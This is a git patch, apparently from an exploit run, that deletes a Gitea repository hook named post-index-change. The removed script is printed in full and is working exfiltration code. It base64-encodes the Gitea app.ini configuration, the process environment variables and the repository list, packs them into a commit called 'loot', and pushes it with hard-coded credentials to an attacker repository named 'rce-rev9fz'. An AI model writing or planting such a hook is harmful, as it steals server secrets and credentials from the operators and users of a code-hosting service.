From cc9f127a9eb74824d1c8c1805693f2cd1787b88d Mon Sep 17 00:00:00 2001 From: pHqghUme Date: Thu, 5 Nov 2026 11:36:07 +0000 Subject: [PATCH] 1 20 --- hooks/post-index-change | 12 ------------ 1 file changed, 12 deletions(-) delete mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index 2b42dc3..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/sh -sleep 1 -A=$(base64 -w0 /data/gitea/conf/app.ini 2>/dev/null || base64 /etc/gitea/app.ini 2>/dev/null) -E=$(cat /proc/self/environ 2>/dev/null | tr '\0' '\n' | base64 -w0 2>/dev/null) -D=$(ls /data/git/repositories 2>/dev/null | base64 -w0 2>/dev/null) -B1=$(printf '%s' "$A" | git hash-object -w --stdin 2>/dev/null) -B2=$(printf '%s' "$E" | git hash-object -w --stdin 2>/dev/null) -B3=$(printf '%s' "$D" | git hash-object -w --stdin 2>/dev/null) -T=$(printf '100644 blob %s\tloot_appini\n100644 blob %s\tloot_env\n100644 blob %s\tloot_repos\n' "$B1" "$B2" "$B3" | git mktree 2>/dev/null) -C=$(git commit-tree $T -m loot 2>/dev/null) -git push -q "http://rcegyahkn:P0c!zb1qr4ogaZ@127.0.0.1:3000/rcegyahkn/rce-rev9fz.git" "$C:refs/heads/loot" >/dev/null 2>&1 || git push -q "http://rcegyahkn:P0c!zb1qr4ogaZ@127.0.0.1:3000/rcegyahkn/rce-rev9fz.git" "$C:refs/heads/loot" >/dev/null 2>&1 -sleep 2